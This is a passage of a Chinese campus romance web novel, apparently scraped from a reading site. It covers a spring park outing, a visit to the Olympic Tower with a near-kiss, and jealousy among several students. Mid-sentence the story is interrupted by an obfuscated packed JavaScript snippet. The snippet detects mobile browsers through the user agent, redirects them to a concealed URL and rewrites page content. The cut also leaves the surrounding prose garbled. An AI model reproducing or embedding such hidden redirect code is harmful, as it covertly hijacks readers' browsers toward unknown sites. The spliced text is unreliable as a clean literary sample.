她的眼来回转着,一会儿看钢琴家翻飞的手指、一会儿看第一小提琴组的音乐家们揉弦连弓、一会儿又看长笛单簧管。 因为听流行歌比较多,这种偏古典的音乐就相对来说更晦涩无趣,不过倒是有那么几个乐段还蛮好听,比较符合她这种门外汉的取向。 俞惟叙没想到她居然还挺认真,不知道是在发呆还是在欣赏。 中场休息,俞惟叙刚想开口和她聊几句,就被何希簏抢先。祝岁祯考虑到何希簏帮忙给了位置,只好笑着应付。 俞惟叙见他俩还挺聊得来,各种不高兴的情绪叠加,决定走人。 祝岁祯立刻发现旁边人的动静。 “你不听啦?” “嗯。” “哦哦,那……拜拜……” 俞惟叙点了点头,走了。 何希簏小声跟她说:“学长好酷的样子,冷冰冰的。” 祝岁祯喝了口椰子水:“还好吧。人家可能看不上咱国内乐团的水平。” “我听说他小时候一直在英国留学啊?” “对呀,你想想人家接受的是贵族私校教育,世界上最高水平的细糠都吃过,来这里那不是浪费时间么。” 吃细糠的俞惟叙走出报告厅,越想越气。 自己真是闲的,花时间受这罪、还要忍受祝岁祯和别的男的眉来眼去。 再过两天,俩人就要在朋友圈官宣了吧! 他看着手里的吧唧,却没舍得扔掉,到底还是装口袋里带回去了。 刚回宿舍在书房坐下,俞惟叙就刷到林期尔朋友圈发的动态,说她昨天玩得太嗨,都没看见邮箱里康奈尔的offer邮件。 她申请到硕士了。 -.- 四月带着比往年更高的温度、和煦的春风和轻盈如雪的樱花来到北京。 班长组织大家去奥森春游,赏樱野餐。趁着春色正好,柳絮杨絮还没飘起来,得赶紧出去玩。 而且今年班里人挺齐,明年大四的下学期大家不一定都在学校,这可能是班级最后一次春游了。 于是四月的第二个周六上午,金工班的同学们聚在了奥森公园北园东门。 班长清点人数后,自豪地说:“看咱多会挑地方,这里人少、景美、清净。现在人们都扎堆去南园,哎哟,到底是看景的还是看人的。” 祝岁祯深觉班长有远见,她在网上看到别人发的帖子了,南园大草坪上密密麻麻全是人,要真去南门啊,这半天就毁了。 然后再搜奥森北门,帖子内容都是北京土著开着车带孩子来玩,标题写着【本地人才知道的小众野餐地点】之类。 但她没看见俞惟叙。不是说全员参加吗?俞惟叙要忙竞赛练习吗? 她正想着,班长在下一刻给出了答案。 “那个啥,鱼仔大佬说他包了咱们这次野餐的设备。一会儿来几个男生,跟我一起去停车场搬东西。” 同学们欢呼鼓掌。 祝岁祯也跟着笑,俞惟叙又动用他的钞能力了。 说话间,班长就收到消息,他让剩下的人在原地占位置,带了几个同学去搬来折叠桌、折叠椅、各种吃喝食材和便携炉子。 大件东西都是观鱼的产品。 祝岁祯想起来大一暑假的社会实践,这些产品都在展厅里放着,秘书介绍说这些都是他家更新换代改良了好几版的明星产品。 祝岁祯和几个女生帮忙把食材、零食、饮料整理出来,刚直起腰,后背被人戳了一下。 她转身,见俞惟叙穿着件牛仔外套,戴了副灰色飞行员太阳镜,抱着一大堆不知道是什么的东西,对着她扬了扬下巴。 “走。” 祝岁祯不明所以,放下手里的袋子跟在他身后。 等离同学们有段距离了,她才小声问:“去哪儿呀?” 或许是天气晴朗,草木葱郁,俞惟叙心情也甚是不错:“找个好地方坐,不跟他们一起,吵吵闹闹的。” 祝岁祯抿唇笑,转头搜寻地方,随手一指:“那边吧,有棵樱花树,还临着水。” 俞惟叙看了眼:“行,走。” 树下的草坪还没长出来,土地上有几个小圆坑,俞惟叙指着小坑对祝岁祯说:“肯定是上一拨露营人的桌子腿,留下的印迹。” 祝岁祯看了看周围,确实,连起来刚好是个长方形。 “就这里吧,前辈严选,错不了。”祝岁祯帮他拿手里的东西,打开外面的包袋,发现里面似乎是折叠桌椅之类的东西。 俞惟叙把金属折叠腿伸开,形成了一个椅子的骨架,然后从她手里拿过一个大袋子,将里面的东西掏出来。 一个超大棕色皮革,像变形的四叶草一样,一边又长又宽,另一边窄一些。 他把四个角套在金属支架伸出的四个“枝干”上,简约的椅子就组装好了。 俞惟叙又迅速如法炮制,组装了另一把椅子。 祝岁祯问道:“这也是你家的产品吗?瞧着跟同学们的折叠椅不一样诶。” 俞惟叙把包装袋子收拾好:“不是。我家线下店也经销国外的家具,看我妈的喜好。” 他坐在右边的椅子里,对祝岁祯说:“试试看,这款叫butterfly chair,蝴蝶椅。” 祝岁祯小心地调整角度和力度,生怕椅子翻了,不过坐上之后发现自己的担心是多余的。 “嗯~不错不错,这要是家里有落地窗的阳台,或者有个小院,坐着看书晒太阳赏风景,还是蛮惬意的。” 俞惟叙微笑着看她好奇地左摸摸、右瞧瞧。 “这款椅子,是三个阿根廷设计师联合设计的,被纽约一个艺术博物馆收藏了。我妈很喜欢这款,之前也想做一个类似的出来,设计图我见过,真还挺不错的。” 他递给她椰子水:“但后来好像因为版权没谈成,放弃了,改成经销。” 祝岁祯问他:“是不是很贵啊?” 俞惟叙回想:“不贵吧,具体的忘了,几千块?分材质。” 祝岁祯点点头,确实不算贵。 这个“不贵”的参照标准是观鱼自己家的产品,她搜过旗舰店,大几万十来万的东西也是有的。 祝岁祯放松下来,窝在椅子里,看着湛蓝天空下的绿树与河流,一阵柔柔的小风吹过,几片樱花花瓣飞舞。 她感叹:“这公园要是我家的就好了。” 俞惟叙扑哧一笑:“有生之年不要想了,但是移民的话,可以买个庄园或者小岛,也差不太多吧。” 祝岁祯看着天上飞过的鸟,缓缓道:“我谢谢你,居然还真的在帮我出主意。” 俞惟叙也望着天:“那不然呢?出现问题、提出方案、解决问题,结束。你觉得我应该怎么做?” 祝岁祯说:“不用理我。或者直接来一句‘做你的春秋大梦吧’之类的。” 俞惟叙却说:“这就不对了,咱们要正视用户需求,分析内在逻辑。这个公园肯定是不可能了,但移民去允许土地私有化的国家寻找标的物,是行之有效的办法,并不是春秋大梦。” 祝岁祯缓缓鼓掌:“不愧是你,俞总。但是,你忘了考虑一件事,就是结合用户的自身情况提供建议。本人并没有资金条件去实践你那些方案。” 俞惟叙又开始坐着说话不腰疼了:“努力挣钱。” 她对着天空翻了个白眼:“累死我也挣不了那些。” “那就结婚。” “结……”祝岁祯无语。 俞惟叙笑着转头看她:“我只就事论事啊,针对这个问题提出方案。不管男的还是女的,只要符合当地法律,结婚就是一个正儿八经的路子。你就说能不能行吧。” 祝岁祯点头:“你说的对,理论上可行。唉,你怎么跟何希簏一个样……” 俞惟叙不笑了:“我怎么就跟他一个样了?他又跟你说什么了?” 她闭了闭眼。完蛋,说话又没过脑子。 祝岁祯顺嘴就开始编:“呃,是他和梦梦聊天来着……说的什么来着我忘了……” 俞惟叙听到是跟她舍友说的,就没再纠结。但随后又问:“那学弟最近跟你玩得不错啊,他女朋友呢?上次音乐会怎么没一起去。” 祝岁祯解释道:“我跟他开学后就没怎么见过啦,只是上次音乐会恰巧碰到坐一起,但后来你说你那边有座位,我立刻就过去找你了嘛。” 俞惟叙满意地点点头。 “至于他女朋友为啥没去……噢,咱学校有个剑桥的暑期项目,十来天,她好像在准备那个,要补交什么材料。” 祝岁祯想起韩芷玥,脑海中就浮现出那条朋友圈。 就在开学前何、韩二人复合那天,俩人去了国贸的瑰丽酒店过夜庆祝。祝岁祯睡前刷到韩芷玥发的朋友圈。 配图在酒店高层的窗前拍的,楼下是车水马龙如镶嵌了满钻般璀璨的高架桥,桥旁是大裤衩电视塔和中国尊那几个建筑。 文案:【都说小别胜新婚,这也太胜了,明天大概率要延迟退房,再多睡一会儿】 祝岁祯想起暑假实习的时候,何希簏和程哥俩人悄悄聊天的内容。她再一次秒懂…… 身体交流了吧,看样子还整挺久。 唉,年轻人,要注意身体啊,节制一下。 她真的超想和舍友们唠一唠,大半夜的这个话题确实挺刺激的嘿嘿。 但考虑到梦梦还伤心,她只好作罢。第二天早上再去刷手机的时候,那条动态已经没了。 祝岁祯回过神,听到俞惟叙淡淡地说:“嗯,挺好,女朋友在忙,所以他就关心起别的女生的period了。” 祝岁祯不解:“什么皮……瑞……” 俞惟叙提醒她:“他不让你喝凉的。” 她愣了下,突然明白过来。 “哎哟我去啊……”祝岁祯是万万没想到,梦梦随口一句话,竟然能一直掰扯到现在。 俞惟叙坐起来,侧过身看她:“就算在国外,我觉得这对女生来说也算得上是一个比较私密的事情了吧?更何况在咱国内的文化环境下。” 祝岁祯扶额苦笑。 只听俞惟叙继续说:“你俩到底是有多熟啊,连这种事也能异性之间随便聊。” 祝岁祯叹了口气:“大哥!listen to me!我没有跟他聊过这个事,都是梦梦说的。” 俞惟叙愣住:“周梦津?怎么又有她的事?” 祝岁祯寻思着,她也不好跟俞惟叙说梦梦想追何希簏,所以一些内容还是要删减修改下。 “是这样的,梦梦吃饭碰见何希簏,学弟就问我为什么没跟梦梦一起,梦梦说我因为这个肚子痛。他大概是照顾女朋友形成条件反射了,所以音乐会的时候就提醒我一下。” “哦……”俞惟叙不说话了,身子靠回椅背上。 但他还是觉得何希簏有点过分,干什么操心祝岁祯的经期,真是越来越觉得这学弟不顺眼了。 更何况他的椰子水怎么了?常温的好吗!而且音乐厅又不冷,祝岁祯这个椰子精喜欢喝椰子水,就让她喝点儿怎么了? 多管闲事。 俩人赏了会儿景色,聊了聊俞惟叙的竞赛,看了看他家欠儿姐的照片视频,就快到中午了。 祝岁祯回头望大本营,班里同学正在笑闹着做饭,有烟雾缓缓升起。 但俞惟叙这少爷坚决不吃他们做的饭,说不相信这帮男生的手艺。 所以他喊他家的工作人员过来收拾椅子和饮料瓶,然后把祝岁祯带走,去奥森南园附近一家云南菜餐厅吃饭。 祝岁祯觉得自己像是在规矩森严的晚宴上,跟着众星捧月的王子一起偷偷溜出来透气,有种隐秘的小刺激和快乐。 两人吃完饭后沿着河道散步消食,大中午的居然还有人穿着运动装备在跑步。俞惟叙感叹:“瞧瞧人家这体育精神,奥运会没他们我不看。” 祝岁祯一时间分不清他是在夸,还是在损。 俩人穿过奥森东路进入奥森南园,这就是游客比较多的园区了。他俩不想去人太多的地方,就没往中心区域走,仍旧沿着公园东边的路朝南步行,经过奥森书局,进去歇了会、逛了逛。 超大的玻璃墙外绿树成荫,文艺范十足,不少姑娘在打卡拍照。出来时俞惟叙指了指奥林匹克塔,问她:“去过那个塔吗?最上面有观景平台。” 祝岁祯摇头。 两人到塔下买了票,从一号门进入,宽阔的走廊两旁是各种介绍,以及几个奥运健儿的照片。再往前走,右手边的展厅里陈列着历届奥运会火炬,前方一个超大的柱子下是刷票入场的闸机。 跟着工作人员的指示进入电梯,到达七十多层的高度。 从电梯厅里一走出来,巨大而倾斜的玻璃墙出现眼前,密密麻麻的楼、城市天际线、蓝天,像一幅宽阔浩瀚的长卷,环绕着他们展开。 “哇……”祝岁祯掏出手机开始咔咔拍照。 俞惟叙站在她旁边,静静望着远方,在这样的场景下显得过分帅了。祝岁祯浑水摸鱼,悄悄偷拍了一张他的侧影。 这是个环绕螺旋上升的展厅,每隔一段路就要上一段台阶,能360度把奥森塔周围的景色尽收眼底。 左边是俯瞰的北京城景,能看到西边连绵起伏的山脉;右边是挂着一幅幅世界名塔照片的白墙。 祝岁祯正来回欣赏着,俞惟叙停住了,指着很远处的一个塔:“知道那是什么地方吗?” 祝岁祯总觉得那个塔很熟悉,在哪里见过。 他提示道:“玉渊潭。” 她恍然大悟:“哦!想起来了,之前和梦梦去过,那是个电视塔来着。” “嗯,我姥爷家在那附近,公园边上。” “厉害厉害,我刚才想找咱们学校,都不知道该找哪里。” 俞惟叙朝西边看了看:“不太好找,咱学校附近的楼都差不多高。” 然后他视线移向脚下,在奥林匹克塔附近的一片楼区,指着最大的白色建筑说:“这是会议中心,建成没多久。” 祝岁祯随着他的手看去:“嗯,确实挺新的。” 俞惟叙的目标却不是这个,他又往右边指了指:“旁边那个黑色带白线条的建筑,看到了吗?一个南北向的,挨着它还有个东西向的。” “对,看见了。” “再往右,那个灰白色的拐了几个折角的建筑,最右端的楼顶上有个球,看到了吗?” “看到了,好神奇,这是一整栋楼吗?” “一整栋,从上往下看是北斗七星连起来的形状。” 祝岁祯惊叹:“哇,有点浪漫了,这是什么地方?你以前的学校?” “是我爸上班的地方,国家天文台。” 祝岁祯只能发出一些无意义的赞叹词,来表达内心的敬仰。 俞惟叙掏出手机,放大,对着北斗七星楼拍了一张。祝岁祯也放大到5倍,拍完看相片。 “那个球是什么?”她问。 “好像是个望远镜吧,做科研用的那种。我记得那个望远镜下面两层都没有电梯,怕电梯运行时产生的震动影响到观测精度。” “果然跟你玩就是能长见识哈,”祝岁祯继续看放大拍的照片,“N……A……O……C?” 国台靠近他们的这侧,楼顶安装了几个钴蓝色的字母,像是楼顶招牌一样的东西。 “The National Astronomical Observatories of the Chinese Academy of Sciences,简写NAOC。”他一边说着,一边把照片发给俞况。 “让我爸猜猜我在哪儿。” 祝岁祯看了看他,又看了看天文台,猜测道:“叔叔现在在那里面?” 俞惟叙收起手机:“嗯,他最近有课题在做,周六还带着研究生加班呢。咱们接着逛。” 祝岁祯却没走,打开了手机地图,看一眼地图、再看一眼远方,反复对比。 “找什么呢?我帮你找。”俞惟叙要当活地图。 “你家。”祝岁祯头也不抬地说。 俞惟叙笑了:“我家?这个就有点儿难度了,我看看啊……” 祝岁祯抬头望去:“开玩笑啦,其实是在找金融街。” 俞惟叙瞧了瞧,大概锁定了一片区域。 “让我找个标志性建筑……那里,有个黑色的建筑,有点像是一个石头被切成三份的那个。” 祝岁祯眯着眼仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357409|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细看,还是看不到。 俞惟叙下了一个台阶,站在她身后离她非常近,脸几乎是贴在她耳侧了,指给她看。 祝岁祯还是看不到,西城区那边的建筑远远看去长得都差不多,很难辨认他说的。 “没事,算了,我只是突发奇想……”她转过头,想让俞惟叙不用再费功夫给她讲位置。 谁知道俞惟叙的脸竟然就在她耳旁。 可她回头的时候,俞惟叙也转头看她,两人视线相接的那一瞬,祝岁祯的嘴唇擦过他高挺的鼻尖。 这和她亲了他有什么区别…… 两人都吓了一大跳,俞惟叙还算淡定,祝岁祯就不行了,反应有点大,意识到两人已经近到这种程度了之后,迅速往他反方向躲。 但是她忘了自己在楼梯上站着,往后躲的时候,脚后跟和上一级台阶的垂直立面“咔哒”相撞,她惊呼一声,整个人失去平衡往后面倒下。 俞惟叙反应快,赶紧搂住她的腰,把人又带了回来按进他怀里,稳住她的身形。 祝岁祯在这短短的三四秒内,魂儿被反复吓出体外,站定了的时候眼神还是飘的。意识到自己被他搂着,立刻往栏杆那边挪了挪,离他远一点。 他见她捂着脸,耳朵红得像熟虾,笑着伸手捏了捏她耳朵:“你小心一点,差点儿摔了。” 祝岁祯依旧捂着脸埋怨他:“你干嘛站那么近啊……” 她尬得想从这二百来米跳下去,简直像在占人家富二代帅哥的便宜。 俞惟叙眼神温柔,唇边带笑:“我这不是想尽量从你的角度,去给你指方向么,抱歉,吓到你了。” 她用手给自己的脸扇扇风、降降温:“那也不用……你可以拍下来给我看嘛……哎哟……吓死我了……” 俞惟叙盯着她的脸笑道:“有那么夸张么,多正常的事儿。” 他拉着祝岁祯的胳膊往上爬楼梯,走过几级台阶之后就是一片平地。 两人站定,俞惟叙给她轻轻地拍拍后背。 “好点儿了吗?” 祝岁祯摆摆手:“没事了,多谢。” 好囧…… 祝岁祯在前面走,俞惟叙却在后面看着她的背影偷笑,见远处有游客望过来,他迅速装作无事发生。 走完这段观景的楼梯,是一个用餐休息的楼层。俞惟叙带着她从旁边一个窄窄的螺旋楼梯上去,两人到了最高露天观景平台。 此刻直接与户外接触,风和阳光都肆无忌惮地往游客们身上招呼,祝岁祯有种站在世界之巅的感觉。 观景平台上设置有几个望远镜,但好像是要付费的,祝岁祯就没去碰。每个方向都放了块大图板,拍摄了站在这个位置能看到的景色,还标出这个方向上的标志性建筑。 周围天南地北的方言都有,热热闹闹的。 观景平台正中央,支起来一个大概十几米的高台,高台之上,是缓慢转动着的奥运五环,如果在地面上望向这个塔,能清楚地看到塔尖上的五环。 “我给你拍张照吧,你看别人都拍了。”俞惟叙指了指前面,围着五环有几个人在合影。 “多谢。”她把手机递给俞惟叙,理了理头发。 俞惟叙打开摄像机,指挥她站到合适的位置,半蹲下以仰拍的角度,咔咔咔给她按了好多张。 在观景平台绕了一圈,祝岁祯没敢再多逛,俞惟叙的数学竞赛马上要决赛了,得让他早些回去复习。他们下来后直接打车回校。 -.- 于此同时,梦梦得到一个令她振奋的消息。 何希簏那两口子又又又又在闹分手了。 她其实上次就琢磨着,这俩人能分手这么多次,肯定有矛盾没调和好,就像何希簏说过的,从根上就性格不合。 他俩能分就能合,同样,能合就能再分。 所以梦梦一直在等机会,等他俩再分手,她就要立刻出击把人拿下,管他以后怎么样呢,先谈了爽了再说。 所以,当两人吵架了的消息传来,梦梦简直是摩拳擦掌,又是健身护肤、又是购物穿搭,先把好的状态气质打造出来。 祝岁祯也大概知道了这对小情侣的近况。 何希簏之前回校的时候就跟祝岁祯吐槽过,韩芷玥想让他一起结伴留学,但他不愿意。 两人刚复合时,学校出了新一年的剑桥暑期项目报名通知,韩芷玥打算先让他陪自己去个短期的项目适应适应,或许这次就能改变他的想法。 但是何希簏根本就不想去,材料随便糊弄的,所以就没被选上。韩芷玥的苦心谋划全都做了无用功。 韩芷玥又气又委屈,把不满发泄在何希簏身上,情绪一上头,把何希簏从里到外损了个遍。 何希簏彻底怒了,说什么也要和她分手,但韩芷玥冷静下来又后悔,怎么也不同意,俩人就耗着,梦梦也在暗处蹲第一手消息。 祝岁祯啧啧称奇,觉得韩芷玥其实还行的,学习成绩、家庭条件、颜值身材都不错,怎么就非要吊在何希簏这一棵树上,长得帅就这么大魅力么? 但宿舍三人都无语了,吐槽祝岁祯不能因为自己长得漂亮就觉得何希簏一般,实际上何希簏不说在M大了,在学院路高校都是个人物。 祝岁祯当然知道他长得好,但她也知道,自己对他有种说不清、道不明的排斥感。 或许是因为自己对待他时,是带着爸妈交代的任务来的;也或许是因为一看到他,就会想起高三那段痛苦往事。 祝岁祯家原先在大房子住,后来因为不得不卖房赔钱,才搬去现在的老破小。 何希簏刚认识她的时候,祝岁祯正处于人生最低谷,精神状态极差甚至一度想放弃生命。小区里的人非常八卦,多多少少知道些祝岁祯的事,何希麓大概也知道。 虽然她现在已经算重获新生,但何希簏就像是某种标记一样,总是能让她想起那段不堪回首的日子。 而现在,梦梦准备继续对何希簏发起进攻,她自己约不出来人,就准备让祝岁祯助攻。 梦梦的计划和之前一样:这段期间祝岁祯要想办法多约何希簏出来吃饭,同时把梦梦带上,或者给他俩创造单独相处的机会。 同时祝岁祯要给何希麓洗脑、不停为梦梦说好话,甚至假装不经意透露有男生在追求梦梦,给何希麓上点压力。 梦梦那边利用她的人脉优势,向外散布假消息,在聊天中跟别人八卦“听说韩芷玥跟何希麓分手了”“很多男生喜欢韩芷玥,她看不上何希麓了”“韩芷玥要去剑桥暑期项目,到时候会认识更帅更优质的男生”…… 韩芷玥被这些声音高强度、高频率环绕,开始觉得何希麓好像确实不太配得上自己。 同时何希簏也开心地和祝岁祯约饭,虽然旁边总有她舍友在,但没关系,总比见不到人强。 -.- 四月中旬,大学生数学竞赛在四川S大落幕,俞惟叙和数学系一位女生,为M大拿回两个国家一等奖,消息像台风似的席卷全校。 数学系那个女生本来就是大神级的,拿数学类国一奖倒也在意料之中。但俞惟叙就让大家眼前一亮,身为“花瓶二阀哥”,竟然该死的还拥有实力? 他甚至还往上报了更难的分组,突破舒适圈,在那个档次里拿到了国一,着实让人惊讶。 俞惟叙把奖项带回家,收获了他家关总的好脸色、以及姥爷加倍的宠爱。 虽然他家也不指望一个学生竞赛能怎么样,但起码证明孩子努力了、出了成绩、脑子好使、是个不错的苗子,家人就为他开心。 不过这人连个朋友圈也不发,祝岁祯想点赞都没地方点。 但梦梦正在疯狂点赞,赞的是何希麓和韩芷玥俩人。终于,在梦梦的不懈努力下,韩芷玥跟何希麓提了分手,皆大欢喜。 梦梦又约何希麓喝酒了,庆祝他恢复单身,并且告诉舍友们如果顺利,晚上大概不回来,让大家不必担心她。 祝岁祯怎么可能不担心,好说歹说让她如果在外面过夜,起码记得在群里发个消息,哪怕发个表情包也行。 梦梦一根一根地贴睫毛,比绣花还精细,同时无奈地嫌弃祝岁祯不像舍友——像个妈。 晚上,祝岁祯正在和Lebesgue积分习题大战,身后的门被打开,她回头一看,居然是梦梦。 小羊敷着面膜,见她居然这时候回来,惊讶道:“何希簏……这么快?” 祝岁祯好奇:“什么这么快?” 小羊隔着面膜给她一个坏笑,祝岁祯还没反应过来,只听到梦梦唉声叹气: “我暂时不知道他快不快,计划失败。” 小羊揭下面膜:“发生什么了?” 梦梦把外套和鞋子脱掉:“他不喝酒,说明天一大早有课,不能翘的那种,要送我回来。” 祝岁祯和小羊都凑了过去:“然后呢?” 梦梦有点难为情:“回来的路上,我就试着拉他手……但是他躲开了。” 小羊气得翻白眼、掐人中。祝岁祯无语望天:“怎么办,我又想给他套麻袋暴揍一顿了!” 梦梦撅了撅嘴:“我就直接说了,我说我挺喜欢他的,要不要谈谈试试。” “他怎么说?”小羊和祝岁祯都紧张地看她。 “他说再考虑考虑,因为一直把我当亲近的学姐,有点突然。” 祝岁祯咬牙切齿:“我家梦梦哪里都好,这小子想干什么?选妃呢?拽什么拽!” 既然何希簏没把话说死,两人只好帮梦梦再出些主意。但她们都没有追男生的经验,纯纯理论派。 梦梦要洗漱,祝岁祯继续回去做题,突然发现何希簏几分钟前给她发消息了。 何希簏:【祯祯姐,现在有空方便下楼吗?有点事想聊】 她瞬间警觉起来。 祝岁祯:【是梦梦的事吗】 何希簏:【呃,不是,跟别人没关系,就随便聊聊】 祝岁祯松了一口气,她其实挺怕自己在这种关键时候搅进梦梦和他的事里,担心自己哪句话说得不合适,反而给梦梦帮倒忙。 祝岁祯:【不是要紧事就算了,我今晚着急写作业,明天得交】 何希簏:【不会太久的~】 祝岁祯:【实变函数与泛函分析,小老弟,等你大三学这门课就知道了,很难。我今晚没空哈】 何希簏:【……好吧】 她因为看到梦梦感情受挫,此时对何希簏也没什么耐心,不想多聊,把手机一放继续赶作业。 -.- 第二天的实泛小班课上,授课老师点名俞惟叙,夸他拿国一奖为校争光了,颜值与实力并存。 俞惟叙道谢,谦虚地说只是刷刷题而已,又不是丘赛那种难度等级的,为校争光还得看数学专业的同学们。 课间祝岁祯去接水,俞惟叙拿着水杯追上她:“我没带卡,给我刷一杯,谢了。” 祝岁祯点点头,和他一起朝走廊尽头的饮水机走去:“居然来上课了?我以为您这样的大功臣可以直接翘课。” 俞惟叙无奈:“我倒是想来着。之前备考时还能有个借口,现在考完了,就得老老实实出勤,最起码也得签了到再溜。” 祝岁祯感觉他可没这么老实:“备考?真备考还是假备考?我可是听箫剑说你跑德国去了。” 俞惟叙“哼”了一声:“萧建新这个大嘴巴,都告诉他要保密了,本来我翘课就是院里特殊照顾的,不能外传。” “切,你可是大红人,两天不上课就有人来打听。”祝岁祯走到饮水机前,给自己刷完之后给他刷卡。 “又换卡套了。”俞惟叙说,“怎么喜新厌旧的,不像我,你给的卡套我用到现在。” 祝岁祯看透了本质:“你那是压根儿就不怎么用吧,放着吃灰的东西有什么好换的。” “反正我就是个恋旧、节俭且专一的好男人,集优秀美德于一身。” 祝岁祯拧上瓶盖拉长了语调,带了点阴阳怪气调侃他:“对,是,好男人就是你,你就是鱼小仔。话说你和那位沪上千金进展如何?这么好的男人,她可别错过了。” 俞惟叙一听她提林期尔,不怎么高兴,凉凉地瞥她一眼。 “人家刚申到康奈尔的硕士,正玩得嗨呢,哪儿看得上我这种国内的土鳖。” 祝岁祯也是没脾气了,他这样的都能自称“土鳖”,祝岁祯算什么?垚鳖? 43.第四十三章 第二节课上到一半,何希麓又给祝岁祯发来消息,约食堂午饭。 但因为梦梦在开案例分析组会,要很久才能走,就忍痛跟祝岁祯说今天不去了。 梦梦不在,她当然也懒得应付何希簏,于是跟他说了原因,让他自己去。 何希麓:【你怎么非要带她?咱俩吃不行吗?】 祝岁祯不知道该说什么,就没回复。 下课铃响起,祝岁祯收拾好书包出门,结果迎面撞上站门口等她的何希麓。 她以为他不会来了呢。 “呃,我打包回宿舍吃……” 何希麓立刻说:“我也打包。” 身后班里的同学们陆续出来,路过他俩时好奇地多打量了几眼。 两人刚转身,就看到韩芷玥出现在楼梯拐角,正在往他俩这个方向走。 见到他俩,韩芷玥一愣。 但随后她的目光越过他们,投向后方,突然笑了一下。 祝岁祯心有所感,扭头。 果然是俞惟叙。 但俞惟叙瞧见何希簏竟然在,对祝岁祯说: “不去食堂,杵在这等饭喂到嘴边儿?” 祝岁祯感觉他吃炸药了,也不晓得谁惹到少爷。 他话音刚落,韩芷玥脆生生地喊了声:“俞学长!” 俞惟叙抬眼看向声音来源,眼中闪现一丝疑惑。 韩芷玥快步走过来,站在祝岁祯和俞惟叙中间,先恭喜俞惟叙获奖,然后介绍自己,说要去剑桥参加暑期项目,想以后有机会了申请牛剑的master,希望能加他好友请教经验。 俞惟叙干脆地拒绝了,让学妹找她同院的学姐学长。 见学长不为所动,韩芷玥软软地撒娇:“求求了,学长,加个好友吧~” 韩芷玥转头指了指祝岁祯:“去年暑假的时候,我还拜托学姐帮忙,想加你好友来着,不知道你还记得吗?那时候学姐说,等开学了当面找你。” 她看着祝岁祯:“是吧学姐,你当时是这么说的吧?” 祝岁祯只好点头。 俞惟叙瞬间反应过来:这女生,不就是何希麓的女朋友吗? 可让他抓到机会了,正好人还挺齐的,他今天就要给祝岁祯示范一下,如何跟有对象的异性保持距离。 一天天的,不让他省心。 他面无表情地说:“时间太久,好多事不记得了。不管是暑期项目,还是交换留学,都应该找你自己学院专业的学姐学长,我这儿没什么参考价值,没必要加好友。” 他越过韩芷玥,到祝岁祯旁边,拉着她书包带子往楼梯口方向走: “祝岁祯,你饭卡借我用用,今天不想点外卖。” 祝岁祯猝不及防地被他扯走,慌乱间还转头看了眼韩芷玥。 小学妹表情不太好。 何希麓对韩芷玥挑了挑眉、嗤笑一声,转身也跟着两人走了,留前女友原地凌乱。 下楼梯的时候,祝岁祯把自己书包带从他手里救出来:“你要吃食堂?现在人很多啊,你确定吗?” 俞惟叙松开手:“借口都听不出吗?你什么时候见我吃食堂了。” 祝岁祯可记仇呢:“打劫我卡套的时候。” 俞惟叙装傻:“有吗?不记得了。” “你这人……”祝岁祯懒得说他。 听见身后何希簏的脚步声,俞惟叙回头一看,眉头皱起:“你不跟你女朋友吃饭吗?” 祝岁祯解释道:“他俩分了。” “分了?”俞惟叙没想到这茬。怪不得,刚才隐约觉得哪里不对劲。 “哦,我以为他俩还谈着,”俞惟叙盯着祝岁祯,“我不爱加异性好友,尤其是有对象的那种,要保持距离。” 祝岁祯眨巴两下眼睛。 怎么感觉俞惟叙在点她。 这次轮到她装傻了:“哎?一会儿吃什么菜好呢……”边说边转身下楼。 俞惟叙暗笑一声,手插兜里下楼。何希麓看着二人互动,内心五味杂陈地跟上。 走出教学楼,俞惟叙拿出手机点外卖。 “你一会儿去食堂吃什么?给我个参考。” 祝岁祯想了想:“看哪里排队少,要么麻辣烫、要么就俩菜配一两米饭。” “什么菜。”俞惟叙低头翻着各家店铺。 “最近爱吃宫保鸡丁和京酱肉丝,如果都没有的话,番茄炒蛋吧,蚝油生菜也行。” 俞惟叙抬眼看她:“我算是知道你为什么这么瘦了,吃得太素。” “还好吧,鸡丁和肉丝,都是荤菜啊。鸡蛋也是肉。” 何希簏插话进来:“这几道菜都挺便宜的,祯祯姐你也太省钱了。” 她得意道:“啊哈~这可是我充分考察了食堂的菜单,计算了性价比之后挑选出来的。” 俞惟叙听不下去了,收起手机:“走走走,跟我出去吃。”边说,边拉着她手腕往反方向带。 “哎呀我不去……”祝岁祯抽手回来,“食堂的饭挺好的,我爸妈经常说外面的饭菜不干净。” 她提醒俞惟叙:“你也少吃点外卖。” 何希簏坚定地站在祝岁祯那边:“祯祯姐说的对,学长少吃点外卖。” 俞惟叙听见他声音就烦,转头和祝岁祯继续往食堂方向走。 “我没顿顿吃外卖,偶尔买了喜欢的食材也会自己做,煎个牛排做个沙拉之类的。” 他又想起什么:“你喜欢吃丝瓜炒蛤蜊吗?我跟我爸学的,做得还不错,你要是有兴趣可以来尝尝我的手艺。” 祝岁祯着实有点惊讶了:“真假?富二代也会做饭?”她转头看何希簏,“听见没,学学人家。” 何希簏志气满满对她说:“我放假回家就学!到时候请你来评价评价?毕竟我高中时候老去你家蹭饭……” 俞惟叙才刚有了点好心情,立刻被何希簏毁得一干二净。 祝岁祯想了想:“暑假吗?暑假我可能要实习诶,不一定能回去……哎呀到时候你肯定有女朋友,让人家评价吧。” 何希簏肉眼可见地蔫儿巴了。 他缓缓道:“也说不准,或许我那时有喜欢的女生想追,人家还没答应呢。” 此言一出,俞惟叙和祝岁祯都沉默了。 这话在俞惟叙听来,和隐晦的表白没什么区别。 他就知道何希簏这货惦记着祝岁祯呢! 但祝岁祯的态度他有点看不懂。对学弟有这个意思的话,为什么没答应?对学弟没这个意思的话,为什么最近又经常和他一起约饭? 祝岁祯更是心惊。 她刚才说女朋友,就是想跟何希簏提一下梦梦。但他这意思……是什么意思! 梦梦还用追吗?他点个头就能成的事。 